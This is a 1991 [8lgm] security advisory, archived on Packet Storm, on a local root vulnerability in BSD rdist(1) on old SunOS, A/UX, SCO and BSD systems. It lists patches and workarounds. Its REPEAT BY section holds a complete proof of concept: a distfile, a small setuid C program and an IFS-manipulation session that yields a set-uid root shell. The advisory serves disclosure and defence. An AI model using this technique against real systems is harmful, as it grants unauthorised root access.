exploit the possibilities
Home Files News &[SERVICES_TAB]About Contact Add New

8lgm-01.txt

8lgm-01.txt
Posted Sep 23, 1999

8lgm-01.txt

SHA-256 | 6fed76e35c61cefd1ee1535863e28a205229e8c7b6586f9b4b9002458f423c86

8lgm-01.txt

Change Mirror Download

This advisory has been sent to:

comp.security.unix
INFOHAX <infohax-emergency@stormking.com>
BUGTRAQ <chasin@crimelab.com>
CERT/CC <cert@cert.org>

===========================================================================
[8lgm]-Advisory-1.UNIX.rdist.23-Apr-1991

PROGRAM:

rdist(1) (/usr/ucb/rdist or /usr/bin/rdist)

VULNERABLE OS's:

SunOS 4.1.2 or earlier (Patch-ID# 100383-06 fixes this)
A/UX 2.0.1
SCO 3.2v4.2
BSD NET/2 Derived Systems

Most systems supporting BSD rdist


DESCRIPTION:

rdist(1) uses popen(3) to execute sendmail(8) as root. It can
therefore be made to execute arbitary programs as root.

IMPACT:

Any user with access to rdist(1) can become root.

REPEAT BY:

This example demonstrates how to become root on most affected
machines by creating a set-uid root shell. Please do not do
this unless you have permission.

Create the following file, 'distfile':

8<--------------------------- cut here ----------------------------
HOSTS = localhost
FILES = BullInTheHeather
${FILES} -> ${HOSTS}
install /tmp/1 ;
notify user ;
8<--------------------------- cut here ----------------------------

Create the following file, 'usr.c':

8<--------------------------- cut here ----------------------------
main()
{
setuid(0);
chown("sh", 0, 0);
chmod("sh", 04755);
exit(0);
}
8<--------------------------- cut here ----------------------------

(Lines marked with > represent user input)

> % cp /bin/sh .
> % cc -o usr usr.c
> % set path=(. $path)
> % setenv IFS /
> % rdist
updating host localhost
rdist: BullInTheHeather: No such file or directory
notify @localhost ( user )
> % ls -l
-rwsr-xr-x 1 root 106496 Mar 4 00:25 sh
> % ./sh
#

FIX:

1. Contact your vendor for a fix. Sun's latest rdist patch
(Patch-ID# 100383-06) fixes this hole in SunOS. Some vendors
closed this hole while fixing an unrelated problem published
by CERT in their advisory: CA-91:20.rdist.vulnerability.

2. In the meantime, restrict access to rdist.


FEEDBACK AND CONTACT INFORMATION:

8lgm-bugs@bagpuss.demon.co.uk (To report security flaws)

8lgm-request@bagpuss.demon.co.uk (Request for [8lgm] Advisories)

8lgm@bagpuss.demon.co.uk (General enquiries)

System Administrators are encouraged to contact us for any
other information they may require about the problems described
in this advisory.

We welcome reports about which platforms this flaw does or does
not exist on.

===========================================================================


Login or Register to add favorites

File Archive:

April 2024

  • Su
  • Mo
  • Tu
  • We
  • Th
  • Fr
  • Sa
  • 1
    Apr 1st
    10 Files
  • 2
    Apr 2nd
    26 Files
  • 3
    Apr 3rd
    40 Files
  • 4
    Apr 4th
    6 Files
  • 5
    Apr 5th
    26 Files
  • 6
    Apr 6th
    0 Files
  • 7
    Apr 7th
    0 Files
  • 8
    Apr 8th
    22 Files
  • 9
    Apr 9th
    14 Files
  • 10
    Apr 10th
    10 Files
  • 11
    Apr 11th
    13 Files
  • 12
    Apr 12th
    14 Files
  • 13
    Apr 13th
    0 Files
  • 14
    Apr 14th
    0 Files
  • 15
    Apr 15th
    30 Files
  • 16
    Apr 16th
    10 Files
  • 17
    Apr 17th
    22 Files
  • 18
    Apr 18th
    45 Files
  • 19
    Apr 19th
    8 Files
  • 20
    Apr 20th
    0 Files
  • 21
    Apr 21st
    0 Files
  • 22
    Apr 22nd
    11 Files
  • 23
    Apr 23rd
    68 Files
  • 24
    Apr 24th
    0 Files
  • 25
    Apr 25th
    0 Files
  • 26
    Apr 26th
    0 Files
  • 27
    Apr 27th
    0 Files
  • 28
    Apr 28th
    0 Files
  • 29
    Apr 29th
    0 Files
  • 30
    Apr 30th
    0 Files

Top Authors In Last 30 Days

File Tags

Systems

packet storm

© 2022 Packet Storm. All rights reserved.

Services
Security Services
Hosting By
Rokasec
close